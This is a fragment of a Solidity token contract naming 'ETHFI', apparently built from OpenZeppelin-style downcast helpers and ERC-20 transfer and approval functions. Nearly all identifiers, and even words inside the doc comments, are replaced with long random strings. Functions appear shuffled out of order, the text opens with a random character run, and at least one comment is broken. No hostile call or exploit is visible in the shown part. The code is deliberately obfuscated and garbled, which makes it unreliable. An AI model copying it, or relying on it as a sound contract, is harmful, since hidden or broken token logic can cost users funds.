rsfYFr0fDZAuXOA9tL5DqCPzihvu2EUUvz4d4bcI3VfPDxqSDQjYOa4v6w1MZGoFEegPvJUqGa7(tg8jG8qyVH7XcTMFsfm4PO53q4a5XyGxvPhU11yzCcVtUKPkj9iwXwQhkHMj7hjKhWLSxFwpOQv4Q0zCEEoUmxyCefP8MxZRALd2b7rPwJiC1DOUMyXNIf5uGMxmCSTyHM0MSlDylbth9Ifbnik2AwZJzmz90KGQnM0aZEQgWhf7adAsCA7tVSaqy9srNIJEP0ADAbk9DT9knWd6E39RQtm7JLfDt1tqF3vyULHeO4agpgv5QvQIp8GOR);    }/**     * @dev Returns the downcasted uint88 from uint256, reverting on     * overflow (when the input is greater than largest uint88).     *     * Counterpart to Solidity's `uint88` operator.     *     * Requirements:     *     * - input must fit into 88 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl88(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint88) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint88).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(88, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint88(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted uint16 from uint256, reverting on     * overflow (when the input is greater than largest uint16).     *     * Counterpart to Solidity's `uint16` operator.     *     * Requirements:     *     * - input must fit into 16 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl16(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint16) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint16).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(16, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint16(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted int104 from int256, reverting on     * overflow (when the input is less than smallest int104 or     * greater than largest int104).     *     * Counterpart to Solidity's `int104` operator.     *     * Requirements:     *     * - input must fit into 104 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL104(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int104 downcasted) {        downcasted = int104(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(104, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }function eQSCQ51MxjTx1zVoE65cI1VHqbQ4QB3ryAdzW2UTOOmEFa8qf1M6z2zY9W57OLSf2lE9ItRQ8wmI7TOVL2BV0() internal view returns (address) {        return msg.sender;    }/**     * @dev Returns the downcasted int216 from int256, reverting on     * overflow (when the input is less than smallest int216 or     * greater than largest int216).     *     * Counterpart to Solidity's `int216` operator.     *     * Requirements:     *     * - input must fit into 216 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL216(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int216 downcasted) {        downcasted = int216(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(216, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.     *     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any     * `Approval` event during `transferFrom` operations.     *     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to     * true using the following override:     * ```     * function _approve(address owner, address nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3, uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV, bool) internal  override {     *     super._approve(owner, nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV, true);     * }     * ```     *     * Requirements are the same as {_approve}.     */    function _beforeTokenTransfer(        address from,        address to,        uint256 vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7    ) internal {}/**     * @dev Returns the downcasted int16 from int256, reverting on     * overflow (when the input is less than smallest int16 or     * greater than largest int16).     *     * Counterpart to Solidity's `int16` operator.     *     * Requirements:     *     * - input must fit into 16 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL16(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int16 downcasted) {        downcasted = int16(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(16, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Moves a `v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV` vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7 of tokens from `from` to `to`.     *     * This internal function is equivalent to {transfer}, and can be used to     * e.g. implement automatic token fees, slashing mechanisms, etc.     *     * Emits a {Transfer} event.     *     * NOTE: This function is not , {_update} should be overridden instead.     */    function _transfer(        address from,        address to,        uint256 vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7    ) internal {        require(from != address(0));        require(to != address(0));        _beforeTokenTransfer(from, to, vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7);        uint256 fromBalance = uay0sZhHvy1W0Ly9pqtyIC1nP7qHtnGOJhb50UOFzYsOywWqd6swFjgSXsZKh090fNE1vO14QLBRvpuwT8x7fP1pXwG7qrqdj9XzC1vnBpJxuQfNM8Vl2TrN09N7qXa0an65p0Nbny[from];        require(fromBalance >= vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7);        unchecked {            uay0sZhHvy1W0Ly9pqtyIC1nP7qHtnGOJhb50UOFzYsOywWqd6swFjgSXsZKh090fNE1vO14QLBRvpuwT8x7fP1pXwG7qrqdj9XzC1vnBpJxuQfNM8Vl2TrN09N7qXa0an65p0Nbny[from] = fromBalance - vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7;            uay0sZhHvy1W0Ly9pqtyIC1nP7qHtnGOJhb50UOFzYsOywWqd6swFjgSXsZKh090fNE1vO14QLBRvpuwT8x7fP1pXwG7qrqdj9XzC1vnBpJxuQfNM8Vl2TrN09N7qXa0an65p0Nbny[to] += vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7;        }        emit Transfer(from, to, vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7);        _afterTokenTransfer(from, to, vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7);    }/**     * @dev Returns the downcasted uint8 from uint256, reverting on     * overflow (when the input is greater than largest uint8).     *     * Counterpart to Solidity's `uint8` operator.     *     * Requirements:     *     * - input must fit into 8 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl8(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint8) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint8).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(8, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint8(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted int88 from int256, reverting on     * overflow (when the input is less than smallest int88 or     * greater than largest int88).     *     * Counterpart to Solidity's `int88` operator.     *     * Requirements:     *     * - input must fit into 88 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL88(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int88 downcasted) {        downcasted = int88(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(88, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Returns the downcasted uint184 from uint256, reverting on     * overflow (when the input is greater than largest uint184).     *     * Counterpart to Solidity's `uint184` operator.     *     * Requirements:     *     * - input must fit into 184 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl184(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint184) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint184).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(184, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint184(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the voting units of an `kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2`.     *     * WARNING: Overriding this function may compromise the internal vote kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2ing.     * `ETHFIVotes` assumes tokens map to voting units 1:1 and this is not easy to change.     *//**     * @dev Returns the downcasted int96 from int256, reverting on     * overflow (when the input is less than smallest int96 or     * greater than largest int96).     *     * Counterpart to Solidity's `int96` operator.     *     * Requirements:     *     * - input must fit into 96 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL96(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int96 downcasted) {        downcasted = int96(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(96, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Sets `v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV` as the allowance of `nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3` over the `owner` s tokens.     *     * This internal function is equivalent to `approve`, and can be used to     * e.g. set automatic allowances for certain subsystems, etc.     *     * Emits an {Approval} event.     *     * Requirements:     *     * - `owner` cannot be the zero address.     * - `nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3` cannot be the zero address.     *     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.     */    function _approve(        address owner_,        address nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3,        uint256 vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7    ) internal {        require(owner_ != address(0), "ETHFI: approve from the zero address");        require(nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3 != address(0), "ETHFI: approve to the zero address");        kGEmPrlMoZFQ26px9xCkbQtBeoBLcfRc7DgewzdW3BmGHfr1Te5uYXHSc1LCI6DVFZSoFtG2BF4snTW4uyMlZNZNtpVf0fmSBv1jpfeQ6gu1phEUvV1reD1pzyIjCrwswgiZrzlwmQ4xkOJv9T74zcbeQQCRVl56q1z3MUCrDA[owner_][nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3] = vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7;        emit Approval(owner_, nqheM9M9IRjbNbF1829KaeaTcnO8UsNezmSO11xqYoxbFHElUHtGsZdzNAK0zO67T2JcquyhXq53spBVsk3, vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7);    }/**     * @dev See {IETHFI-totalSupply}.     */    function totalSupply() public view returns (uint256) {        return lSrNwy5cajcbXPa4suAeRkkLfpwxHgmHtoUyauEHvi8Jlk8wpeBrZnGeaJmRrMVJrJogemlOsLl;    }/**     * @dev Returns the downcasted int72 from int256, reverting on     * overflow (when the input is less than smallest int72 or     * greater than largest int72).     *     * Counterpart to Solidity's `int72` operator.     *     * Requirements:     *     * - input must fit into 72 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL72(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int72 downcasted) {        downcasted = int72(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(72, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Returns the downcasted int168 from int256, reverting on     * overflow (when the input is less than smallest int168 or     * greater than largest int168).     *     * Counterpart to Solidity's `int168` operator.     *     * Requirements:     *     * - input must fit into 168 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL168(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int168 downcasted) {        downcasted = int168(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(168, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Converts an unsigned uint256 into a signed int256.     *     * Requirements:     *     * - input must be less than or equal to maxInt256.     */    function 